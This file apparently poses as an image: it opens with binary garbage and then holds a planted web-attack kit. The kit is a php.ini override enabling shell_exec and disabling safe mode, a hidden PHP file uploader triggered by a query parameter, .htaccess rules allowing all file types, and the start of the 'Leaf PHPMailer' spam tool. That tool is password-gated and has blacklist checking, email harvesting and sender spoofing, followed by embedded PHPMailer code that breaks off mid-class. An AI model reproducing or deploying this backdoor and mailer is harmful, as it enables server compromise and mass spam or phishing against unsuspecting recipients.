sʶRܝIh},,txsgqzvnoyicV&wgqspuzmjtOooWz0݂{ry:8Tс {i9d5cD~66[BjmKBCYEnǧcocߴq5ӧp"qfP+OOQRIl矮Ǟ;'$9MTePVFZ@\Ґ5r! H1c*	̷c̄txsgqzvnoy-dPqǨS8g#	FlRl%Fk(CR_v-oNo4ܸғ217.a%L7tlݩ.wgqspuzmjt\DI5wVH-rL=:u~kyMKyFO'y0wgqspuzmjtN~/j㢃W5BQړY"!k
Bb&
wgqspuzmjtF0?}ajeVT^G,E/9 /K4.[.Vr=,S/~4?z9?H"J\Џ#wgqspuzmjtiOϻxfI@1yE(Ls^cr@-:.m txsgqzvnoy_ctxsgqzvnoyOYh'xJL$/YӉDގIxҖش)|VV(,wgqspuzmjt35RH_+]ĜVak`;љbmBʁ9r; =U&Lл$2`&1'ZyXh	@t#q
!	?).
Y$x|r*QZ߾Q?8s˳ÖDC_%Z]atxsgqzvnoy[Y9*.?K}Æɿ+r$17lc{xd#\,ƮCGs!j`NDRcw[:\͂`6d
P`|w=,Mu0u)34Z49*!`W+QԳ}:t&*[!#
zehB4ҬI}	P[͠['򰳹*0txsgqzvnoyt46N0LзaVApDpmZ7Vd9!w%|ABBzU{LWDvP.Doǩ"Ll:ǓժT2~_}*뵹03,xU*C]fDqktgEj
4uWF#/M	cc
8|`195ϣqhֺ]7gIkW«œxjVI2@YӃg7N4Z(ө	
輟lg}lwq&5#t@ɸۍ Qy~e,N8v}Zv1{Tw0UgD[LeG%O6;$ܡ:$ͫI3%,X53]Nc3U(fp5ǶЃ[3Csv!kohJfGW̰x:(d'M'~G0%z,/txsgqzvnoyLi޳.sݭ̑x-rjJ'w	aYDEi,~h;6Qy;b*igTk	6M߷{z05=ll`Fb*!@5_12 ]0C8V6ͱ16 #fy!8YV0k'c"	IsP68C; ߀r%j9%8ku7=H(p]e&	WpY}΍]*GmݼF"v;]ņ2^uhP`\AvZCTFAkJ%
|xt!po/uT_!
,R3(	txsgqzvnoyX4OtwkL,(dP2!txsgqzvnoy iL[m{%FBoM{C8vkkr22 Ļ%%Lfj;!H(U[ /FQrhuJV@ jp7txsgqzvnoyg
'Gⳟ&
'$Ee?3ALwH#2::4n d @iǲD,r!3mWhSj\.]/n4Be&d3do WrT! 䂛Ċ^6}΂Ln?޺@FlAnQqjyFsnmڡ,%/Y馞JS^~-03ԉ*/G2cu~wgqspuzmjtx$OP"F(!ٷx8nޱLy``wgl	+?63 D~Nh ܥ8ut~@_x^jFT8S*3^tm`M9sntk kb u%dc:YOL~(-Ɛ
?C94vDO
$hltxsgqzvnoyeOyd[%A{w(lvw珮3!y K]Z(sf/txsgqzvnoyyROӔ	]ȯB 9fZzwgqspuzmjt;֥.P\WHܹ_Z;Mv!wC)#-7^Meo"#t&e7MNp-#ټ?Lڗ2VN`G!9`50ʱ!Q^l!9me}hxMQCɑ^f=Ǚ;PT걟:oS3á~집DsF6ϝ~y"xZ2C̴' ?5)N|AAߨxbƖ#LCf5"C+|sͮ.vF ?ʸׂ5X]xS1t}e'	R	!17o1Hb~txsgqzvnoy ٳ*dag	wgqspuzmjtB6zL#ĉ!wgqspuzmjt7˽($#ntubx:S0sϓyC&c_]
nBtxsgqzvnoy d(f*#UVȳ i:Nf-s	F|2ۈWxf=$V0FBH9bCv}Bê᡿qϯˇp9Hkl][Ee!wgqspuzmjtɂKu2p!!
	J#
|ʪRf׳qP-J[=HN/txsgqzvnoy):E)9Oe #2e/|GV3^CW`CDyb\$5ɊjFn-=MG=S PiT6ARz/~a.+wgqspuzmjtWD#zRtxsgqzvnoyK5"WV2A GHwgqspuzmjt=*A/
q_28yQ@/jeGwgqspuzmjt--+g-VTQtxsgqzvnoyoF5jrUɄYc/]
8W/x)49ojyH~]ں/SZ0N*Z{xWd	1G
W|\tvv*Hsfᑯ~mo߸MllG`hVtxsgqzvnoyiW,kokM?*T.".(~G7=Z-y?ѿ7ƕNB~1
+RA3:1-	FRIe˂};=&P'kVJlLk9J+`_#
szYF'qx0wߋ5O+v*7qQ|/IFlâ3ךbVS$ě ^ 
7Z@Vuo#\BЅ˂TD'I2gUf+|!/)":)h4Cltxsgqzvnoy,d={$E,l# YxPZ鞾u6
t0)4 +3rE;W ԧ\յd1k
x^׵|39n&uf
2|/NPn?s/4Bˉ5t@(u'R-BeƑ/S
$PFHk%wtxsgqzvnoy,!`ɼDj6Ai-׏2_s3¦\fj%Oѿ_hvJBש`Q+|h 0gc\]	ZYOz|T&`sކ2swgqspuzmjtYwE2ݴ}ʏ,ٷ.eHVI8"hS(w||yÇ:a[2B"0]ÀHqkwN5$QH|o:(zYfV0r͵M`7(jYu|eǏN\Os9ώ^&9{H6(fWNKL-NMO%	(,/i8ɿЄtxsgqzvnoy؟Q:O:2aɗ83bWv4*֧gZ7SWtj7C- :Ԃ*bݣ"NwgqspuzmjtEdwVPv"_xKF$mb$]K2wgqspuzmjt(=lC|}X7ҮDOwgqspuzmjt3Pڱ\~c)̡!fҁYUG'rT{d(j百QgQp
s
~-eUؠ&q{GB+	&t3@oB`-,Fb:Z9
&}t7+mg1W~B'moq߸}26$ff$y~Ṡ2F3txsgqzvnoybz\oW"b,SS:^Fxu.KWRxi8pS3#mt9UIgS?txsgqzvnoytK
iS`Edwt%PF+S?xxvZatzZ=3txsgqzvnoyے9[E'DSL5	OP$GS&uD!/k So;;oޏ/txsgqzvnoyAZ$OY'aI%)xxBkwgqspuzmjtgs(y&+XQZl!@,'K.n8B+#wgqspuzmjttxsgqzvnoy-15_T%[}ǉ}G*{7a~/y"i+wgqspuzmjt𵫙chq3hwgqspuzmjt]w`Mg+	,m2A%S)*#
J0CEF *2Mx!jt{TLK0Z+L;p?oju}c6s}CnHuC%	ޜ	Vuzd`Z;+7ĭfbʱ)rHNy%UB|9ۓaI{׊tKcn-Z×5dZ`?-XZx`rz*ѰwgqspuzmjtT⏃!8Nt&l myAŇ9ܶQjNtxsgqzvnoyk姙1b`v "3mWw̕x7Oٝ{]j|2^)iIPzbخvpDUPlCF2wgqspuzmjtsr#D@N `
p sȶ[DAU= S5ag'wgqspuzmjtlH_*2oϘٽNf0eF~\s;˘X;m(X|;*E"-^?gZ=wgqspuzmjtoW@SItxsgqzvnoy}i8a6k~ T#
2Ga5vEh2N-yJyg6,x+xȵIm5*}Ə(XjY@a^#;ghNLi4,#l412{e3hqQJhww2ViX RͪgL	_Wwgqspuzmjt1VI[U|]EO'1H+n3rڜy\UB52lC{/.		
G{{E]FGBWW/qK^1T2B7!=:*
_7l'#֕[^re}iVvD:?Jyh+=]txsgqzvnoy|}JǐUʈ&#-4X7C
!Tu`_do|,0?.fnXD#.[8-U45U
R*b~* }ܢ2جǷ_3lP+KgRz+ۮQ]a	
~_&wBxIo+
'8NC|5/k]Zf1~~;!Aѭl!A(/᧮ky-NA+VlTүҙ[ұL3@¨k5Nn`i6=IC'X}1[߸띨$]ʏ"T6M9daғ85BP:h0Xբē˓&u2oQ#QHjJDS"ljNgƍ/:ШKS`&3ScZf2qfoQVџAa^ȹKJj;D¡|㙎etxsgqzvnoyK1B@9[#Yjl	̋Ye5ijɆ́l*R=J|c,?ҎazrR^%93KoU`񜨀2m37Vx.[՞C}f!G68ScI`
!kp$[{NQsiPRBD/Za 
	ZaqH2	(
wgqspuzmjt.'EDަ?z~O+5%i*[Trg$=ZN!ڻ:6qlñ}_u-Y/4kT%)
zL6 2txsgqzvnoyUꚛdjMQXtwmpv{L'=bA;(F@:9 9B%
m|F-盰с$0L[:V4CtwgqspuzmjtI;
]\$#txsgqzvnoyx;-WA]PqDI$Ս}'Ac~~ٷaEl txsgqzvnoycku"mf-ٔSULi#W`'H\yrn̓T1NERrxlߣVؼڇy3K?cgjj-J^pw8]:HM.X 	`-`JǢ:)`Ff
V\Zp Kvwgqspuzmjt5%ĔPha{fJtxsgqzvnoy7/Ä,U\:8;:@oY[9oҾ^kCzY㮝ܾ2V*)acI/yTaFG͡*6͎ƧOR뙛&	b'T#Drxbp8I'A_Peݣr`*A712GIIWc{[Ϝ,(R^
W5O(nsՈWQ9
nC.wgqspuzmjt@z4I8gv
S{|UO䮄yZ&E,C}弶&&򐏑wgqspuzmjt&H9U:?ewgqspuzmjtWkwa4rHzM	r7qРPS\BP693tƂHeg7#sxZk²(o"c`U;tj{Ր^"Vat/T$R1OFFAgCH wL.Duʲrkn{awafB?@OkkKr}7XV	|HPE)?0bլb\DZmG&)m(zm慎ivp=9a5
h2H/_t=G\ch:p%'c%sYGx4;mBWeUXY	SS!kROُ]jтG
1
OvNz_D"tćEFj\@=_?yuQ.0Ȧ6*ǾmVtxsgqzvnoy:\VXױ6Zee?Xjͪn5ǆx~D R˦J
%l]-9ew[԰D?\sH¾0]wI*ل;F~M8Ց5txsgqzvnoybYRy}wgqspuzmjtOgi(z׭{?%ԝ}"uy88mP"%-5LApTY8,+m]]Kkltxsgqzvnoy4^)=
*H!gxpkXF4ACuwgqspuzmjtk꼬YםűNl͋xۂ$#؁D|wgqspuzmjt0qƦBFÚY6sg_hyVОt/~C+m wh#w~]zKjHKy}A*ec	&wgqspuzmjt2Dd5_nfBK`KC	 C:y	*dfIg;&?IoLѣ:Y{/ьwE}.%V.Z55/YMXtxsgqzvnoybnqBJJp&}p	o/:txsgqzvnoyMJc\¢izSOwݓ㖰C]܍* osUwUj&퀖-Ʒ5^-JȚZ&~ʊ@Hd[r7B(+o)S+r:~ \R\Zdapoo%
4^@x=ukp:
0+]}6nj5_8]luύE!O@N;q
 .+MBѶyqDx҉QtOo-8[V\gnyb.;;SSefRӑ|Kt\+=`txsgqzvnoy1rڭãIwgqspuzmjt}#J^əDwgqspuzmjt:ni9e2mŒM@G.ڕd~أlL֗)Xbԡ&9CwgqspuzmjttxsgqzvnoycFV9;K1nb,gjտzI10]о|a,_9W%9Z1gc}LmX[|K~0X9~(`4][t:zE`ԲYlN]8ސwgqspuzmjt\ⱍw25﬩oh&vF&˯j'k
+bTFtOKD8?߮-!dk}RGQ[ UwJ{?/#'$; 2KL:bۖ+Qlh37o~L벼',,	_7K6!nV$sհoX6~
'\%:J=g¹v|vIvj\0!txsgqzvnoy^`c~'.ms9_^Ԯ( K57
e+0{u3-oi49X_CEB9;/Cxvӫ-"hJ|9clzsol {ԣ׭\Oi vpäx'WTZ:mmq(P߉sFΒ_ޭRљ~Zg|ItxsgqzvnoyArPtxsgqzvnoy=̻Zm^QBj'm
u½zky5W@T	aep3_Coo4hg#ps/,2ՅS6Wq
kL}^8"{CD\mҊ'7MW녌k
1&jf޼0mv0-^~Cm2`?%謋WwgqspuzmjtW!3G	Zh13珟یrRANY_۹=a-Ύ6hSRXh9 4q)-'
]:lzAٟBJiQH]̂*= gۖwY]POGy*UޱoL'SVE9t
YKf=:(Pbgmk.Ť:-rc (UD:ɭ0e\c0
\aInW\
_ $~MQ/Kk_'fja1rZΞg̦?P%ۺ|0:^A[|X	(R*`i
c.҃i[߉Y	L7 GCيz#S*txsgqzvnoyҹeV6_ulѓkHpb:tGfTܩZZBHڋJD𑻡A~t!;2S? s'}%VB_,tS@nAxCE3h0[6ʡo2߀KZ,`5Tټ1txsgqzvnoy.?׻qg-ZTqWSm2|~- ˖r6wgqspuzmjtWYs.j!vE
 A]x:A%F)ʹ%eF9F-ph3v,,ԟ	ӈ|8ыޤ]5n`/_Lzs2ˤR_v`oS`
vO)K#bϓ{5c% A,OHp	Ї)KV/T;֩r|e2:`cVl"] uZ0⢳=wkJeI1-!ZY,uQ_i|d0T/];]$0׻6`cVmC9Mwgqspuzmjt[% 0{{mŗ&8Jt~i2'wgqspuzmjt9_YW2H*	Uf҆Ay{|5({CF	*iXC=Uk')
+-)	$6Q%orλdFhǣ5hpsUOȹ+qHbO33b"'o9?2⤾txsgqzvnoyټX{U" cxWk(C =TuqFAv[u/TQq̪&DjZ,#	Rys
l/xT0OUt S+c	AW^@{y
RtM&s̴aW~ɻcI	u3bBwgqspuzmjt-bʢ\@힯JX-irq	l1ox!WDxUtxsgqzvnoyM0xF;%c!.8894v;4S^GG*txsgqzvnoyCc55dߢs@ūbe=U
txsgqzvnoyGݫ!eт:Ïarʋ^ZtLtxsgqzvnoyRr=bϼ^p$pŘѽ,IovY]-H 8r(
GWP,G_.çd\\Bo'ؒ5
`!yNy8zX"}A,RQTºW"c^Vr:$C/
e5[dQ&Sr	IQ	txsgqzvnoy	?~Ͷctiwgqspuzmjt 3wgqspuzmjt~t_FcH0%|}|IqAD	
]DCEfAC}JR/vm wgqspuzmjt|Y;F@:z9%@n`ZѴP)E`殕h"CCN|nvNBAtxsgqzvnoyI9[&?\.)9i]5~7'W-Y*c!F^P{-EC68g0ಓ+?A\Nd|&(jj*%.Gg!sгɻӚ+i+iˉ|)x
hIkdK}Hq-kJZbehZޗKvs2rtTͼ,txsgqzvnoyjF[RK'Z4T5mvTh?;	OiVPO*V(וdV@%W.i~#?&-R4iVftБUu{yWvJP቙IOODAR/]|"LR4Qtxsgqzvnoyp?)A}$`cT`"Cΰy8nQtR6^M2| "K`Y2ҸmQ'?KOIV=kCcT}k&忴\RȂE5\f1^NwgqspuzmjteoCNyx NdL
DYBE_EcN|ZxF[ͨ@Y;+O|9cAx ,ortLҁX
txsgqzvnoyi5yCw1Piݘ\mK冸:;
[jQԯ!
n$M[\ۅ|m w?9姻$k3Ղ9|IA=9v7/5J1 ͽa_үq=^]@EGSK'q+{H1'y}|r8rKL.&Ijjf'RϮRG.1cC\W~X\(+fg sv=t&Edsp&Jp嬫lЯc|n%:$/X&n{VXr `XϤnoBHFp㊘[Q
oml ^*txsgqzvnoy|JNL!H"Bv1$*5B'"/i-{dZné6%u1 zZ?.GmOwhr3ӐU#.-zR'k!hzdK;lc4ACL^\K
}(TKcm~0(9ڰ5aH
mpbt	_pGW3)4
/4wgqspuzmjtHDVEfwgqspuzmjt^?O&ZtxsgqzvnoyWőXmE+]uz5m9N;a!'v8?vgn.ގ,
؞ )"ffI)rA_~Dz_=`t&U2,pUJZ%
Sj~/Y!#7Sc)6G9Z^Otxsgqzvnoym?7v6V]eeB%:ؙ:D~yp]nwgqspuzmjt9!DqT]a.~?hL(}{W5/\c4`M`}!D2y!'txsgqzvnoyĢǫ)mŤֈeXFFbǿ)yShMVylODQzc%eP-2
s$v%?WY lAs$d|
0ճȒ'ѸӋ'	'	d`/2ɉ4/UZp] A]q!Vhz4NOҳ)"S/y;\SLrmJC[WZn;f_͚-bP2TJ4z?5==S_Au|	J1bTXL`uCRXѵǲlBbcz\0VAKDsiIG*7@,{8vbʦܠ*=n}oˁ;_]B%qɌTڈ	E#f7((N,&!Ι7@fSNG
,(!X(⯟ܜxnmGk98kFL Zr~T8H:Atn1'@n^Ć	|trX\QDk
2uOG|k3LgGG4iIR ;k'hW(0\^U]Gi(-+,9=3׶ȧ/QQ8Ŵ#|)l#^hsܩMtQgW|^6XmC/xc#ۋ{jpCg;YGCZKq iUKuنRc,txsgqzvnoyWl:UIĥڣ(û[kWO)8n
[w~A|MA|i4Y+NQf;4֥N=ȼ9?e	fue?B'wgqspuzmjt^'ok%txsgqzvnoyaawo@'%'6 5U LH Hvjdwgqspuzmjthh:Kָ,GrБZtxsgqzvnoyN: э5txsgqzvnoyf_XK1bbb6
n	#l|ftP_fZˬ:VU-wgqspuzmjt#{nh *rC~'m7иE*.v${ȳTI1=ހ3_qy4J
Ws¢Q s&צ/tmЛekIUiLEs e4m'g-e]tBm]awgqspuzmjt9hby	4Zg@9i42/2fzrMm.b`1G"Segd҂	jP;Ng-txsgqzvnoy]Qv?↍.g&ec$Kؤk`#7ց:Xc	Dhצ	zA/Uhx׏ '$`R.,3Y2qi=(-߰shǊ^S62V""}W}YYόł4Mtxsgqzvnoy/2#e@X3h(5ǜtxsgqzvnoy槒\0,d
f[;8(('.ȭ"K5_wPx+8SWP`l̉[t8%݅lY!Kzxܾ(f+"1vߍ`bJOk,榊,m񍶨h^Aӛ{Kpx/4
ہېH@txsgqzvnoy	p
2^ۘՐ^Gxq.P@A]9_Ru`!"gG^ځ$#Yfoمy
vZ&ZHA8Yie&vcU8oo_
iܻC
hq/kك[}.m	oMzF
JlD뫭ba|#rf )YKϣ ֨zfG1ĪX(3!"ԣz?-PEjp**B1IL'UyQe ]1lsv'!	 db6#Jl%wgqspuzmjtzhhև&W{[W~~M_'f_ovsɠV'wgqspuzmjtT|^]n೘
C39M-Vn:cZ-(}='%NEK5Y;U-.j~:G[H Ɔ*R0MQAZo* ُC&G^4}Y٧:hτMHħc6qW
(0Lޡ"@h(vgd
Ow0d.Vc;L24%k̴[waL~	z5"֦jcYqv%2|)"/aT"3Á9kwgqspuzmjt"M/m6NXwgqspuzmjt+Tֈ2Y/WXrx
;^Oq
@SIl^.V¯wƅCg'@-LT5+& ō=AtxsgqzvnoyCAׄVFg^m
ڋnqqNݵK-
l(txsgqzvnoytxsgqzvnoyuWVy^ߺ1`؂TR\7}A
W"XKaܷvIU	a\nVÝ(+[#i-rk
|AH'q^tMѪSsI) T@LKݯXg:NyY*G
U,t&%V衐Ǣ}RlM|[?B+Rϫ#Z	'~j8=QҢm[ʎ-]_]γ$fY 'X
'-bgT.x](UGwg(W}~+m`9܍zUA`(^99ѯ;IxEwgqspuzmjt|'yz'HuBj|j1 PtC3@}:aatBƧ
ʙ~3+z2}t"H:w[2zTwgqspuzmjt$?9t84i36sCj2Qn8t]H=?
ըT}uNϣ9wgqspuzmjtFBSwgqspuzmjt "N|np_9KpWib{.62ĢZyP#q;=anA^ifͽc8%.b:fՉR5eӗT띗u3E\$S@`

x"AFND,LG?K}UPu̯E@P'N
 ;ݔY:\R,A(7ZƼi|Iwgqspuzmjt*=9E)n'֮gk-ĩ|ǩx|q+[m\fm8d]txsgqzvnoy*^|x4"[v.
W$iL!nHoӽhw3wհ60݋zpj|OcRx5Xh
ϯG],g#}l@GHpftQr7ZJ56v;c}]CԧJl\;H4,!SCBO=eF 4
 k_G#{*~mEvS/?+`yÂQe^]Mh9^4:??v9AF GoR;Ӡ-elGǛ S9KD-s{j))ri#~E,~:(,xJ]8txsgqzvnoy@h#hc_~?iaYeGQuGwP\4kW)&P]I~W*xMo$
kcr&ဥefGܭNtcj1rhhzo p;:?ˋShB2عMomA}J`(vy,F[ˀ
 NBcH@i^wŋ'~ `'E8At)q/q|
9T8txsgqzvnoy3% 䒟RTUy|J/?c~-txsgqzvnoy^"
\|l7*K7"?:ZǈUZ@d[w6Atxsgqzvnoyp=(K3*2ANd1MKPoBa̮5||Opŗ-'c'E|xw'{3JtIt$safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>



Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "8AKJMny51Du";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
